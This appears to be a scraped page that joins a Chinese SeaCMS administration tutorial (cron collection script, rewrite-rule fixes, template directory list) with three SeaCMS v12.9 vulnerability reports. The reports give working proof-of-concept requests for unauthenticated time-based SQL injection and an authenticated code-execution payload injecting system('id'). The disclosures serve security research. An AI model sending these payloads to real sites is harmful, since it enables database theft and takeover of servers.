【2】具体修改脚本里面的哪3项呢?下面为你一一说来。(根据上面提供的代码内容复制到记事本或是其他html编辑器来对应修改)

#①请修改下面的网站域名及管理目录
web_site="http://网站域名/管理目录/admin_reslib2.php"

这个是需要修改成你的“网站域名”和“海洋cms后台的管理目录”。域名大家都能理解,后台的管理目录这个对于新手来说需要多讲两句,首先你要能登录你的后台才可以知道你的后台目录。举例说明:假如我的后台登录地址是 mytheme.cn/xxxx/那么这里的“xxxx”就是后台的管理目录,得到了管理目录我们直接填写到代码里即可。

#②请修改下面项内容为"admin_reslib2.php"里设置的访问密码(默认为系统设置的cookie密码)
web_pwd="8888e82e85bd4540f0defa3fb7a8e888"

这个修改需要到海洋cms系统后台得到我们的cookie密码进行替换才可以,具体步骤:系统-网站设置-cookie加密码。得到自己网站的cookie密码后替换即可。

#③下面项内容为资源站每日采集链接地址列表,请自行修改,每行一条,可添加多个,前后需添加引号。
#每日采集链接获取方法:选择"后台-采集-资源库列表",复制资源站右边的"采集每天"的链接地址,去掉?前面的内容。
web_api=(
    
      '?ac=day&rid=1&url=https://api.iokzy.com/inc/ldg_seackm3u8s.php'
     '?ac=day&rid=2&url=http://www.zdziyuan.com/inc/s_ldgm3u8_sea.php' 
  
)

这个是代码里需要修改的最后一项,里面是代码里默认提供的2个采集链接地址,我们需要获取自己的采集链接地址添加到里面。

第三步:宝塔定时任务设置。
直接复制代码到宝塔计划任务shell脚本,内容里添加每小时任务使用。

伪静态下专题不能翻页的解决办法

apache环境下:
修改伪静态规则配置文件 data/admin/ApacheRule.config:

RewriteRule {topicDirName}/(.*?){fileSuffix}$ {topicDirName}/\?$1{fileSuffix}
修改为:
RewriteRule {topicDirName}/index(.*?){fileSuffix}$ {topicDirName}/\?$1{fileSuffix}

iis环境下:
修改伪静态规则配置文件data/admin/RewriteRule.config:

RewriteRule ^(.*)/{topicDirName}/(.+?)\{fileSuffix}$ $1/{topicDirName}/index\.php\?$2\{fileSuffix}
修改为:
RewriteRule ^(.*)/{topicDirName}/index(.+?)\{fileSuffix}$ $1/{topicDirName}/index\.php\?$2\{fileSuffix}

最后删除根目录下已经生成的伪静态规则,重新生成即可

海洋CMS模板目录文件对照大全

 │─templets/1/  模板1
  │  ├─images   静态资源路径(官方模板)
  │  └─html     模板文件目录
  │      └─head.html      公共头部文件
  │      └─foot.html      公共底部文件 
  │      └─index.html     首页
  │      └─channel.html   频道页
  │      └─search.html    搜索列表页
  │      └─cascade.html   级联搜索页
  │      └─self_xxxx.html 自定义搜索页
  │      └─newsindex.html 文章首页
  │      └─newspage.html  文章列表页
  │      └─newssearch.html文章搜索页
  │      └─topicindex.html专题列表页
  │      └─topic.html     专题首页
  │      └─content.html   视频详情页
  │      └─play.html      视频播放页
  │      └─news.html      文章内容页
  │      └─gbook.html     留言板
  │      └─tag.html       tags页
  │      └─map.html       视频地图页
  │      └─newsmap.html   文章地图页
  │      └─reg.html       用户注册页
  │      └─login.html     用户登录页
  │─templets/2/  模板2
  │─...
  │─templets/n/  模板N

Unauthenticated SQL Injection in SeaCMS v12.9

Summary

SeaCMS v12.9 suffers from an unauthenticated SQL injection vulnerability in the dmku/index.php file where user-supplied data is used directly in an SQL query without proper sanitization.

Detail

The following code demonstrates the misuse of the id parameter:
https://github.com/HuaQiPro/seacms/blob/ffa00178c7bf966b6bed7109ca76c270eadfeb70/js/player/dmplayer/dmku/class/mysqli.class.php#L287-L305
image
It is clearly spliced directly into the SQL statement without filtering.
image

Proof of Concept (PoC)

http(s)://ip:port//js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(10)))v)&type=list
image
http(s)://ip:port//js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(15)))v)&type=list
image

Impact

This vulnerability allows unauthenticated remote attackers to inject arbitrary SQL commands through the id parameter.

SeaCMS v12.9 未授权SQL注入漏洞

总结

SeaCMS v12.9 存在未授权SQL注入漏洞,该漏洞源于/js/player/dmplayer/dmku/index.php?ac=edit处能够通过cid参数进行sql注入,从而导致数据库敏感信息泄露

漏洞介绍

image
js/player/dmplayer/dmku/index.php处存在SQL注入,传入ac=edit能够调用$d->编辑弹幕($cid)
image
image
而在编辑_弹幕方法处没有进行过滤导致cid、text、color都能够引起sql注入

漏洞验证

image
延时3秒
image
延时6秒

POC

POST /js/player/dmplayer/dmku/index.php?ac=edit HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 56

cid=(select(1)from(select(sleep(6)))x)&text=1&color=1

影响

此漏洞允许未经身份验证的远程攻击者通过cid或text、color参数注入任意 SQL 命令,获取数据库敏感信息

SeaCMS v12.9 admin_ping.php 远程代码执行

Introduction

SeaCMS is a free, open-source website content management system written in PHP. The system is mainly designed to manage video-on-demand resources.

SeaCMS 12.9 version has a remote code execution vulnerability. The vulnerability is caused by admin_ping.php directly splicing and writing the user input data into ping.php without processing it, which allows authenticated attackers to exploit the vulnerability to execute arbitrary commands and obtain system permissions.

Environment

https://github.com/seacms-net/CMS/blob/master/SeaCMS_12.9_%E6%B5%B7%E6%B4%8BCMS%E5%AE%89%E8%A3%85%E5%8C%85.zip

Analysis

The weburl and token passed in to admin_ping.php are not filtered, but directly concatenated and written into the admin_ping.php file, resulting in arbitrary code execution.

Verify

POST /xotry/admin_ping.php?action=set HTTP/1.1
Host: 192.168.126.128:8082
Cookie: PHPSESSID=8iuqqnar4ucddeqlp52sdmpbov
Content-Type: application/x-www-form-urlencoded
Content-Length: 56

weburl=1";system('id');//&token=1

Access /data/admin/ping.php and execute the command successfully

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.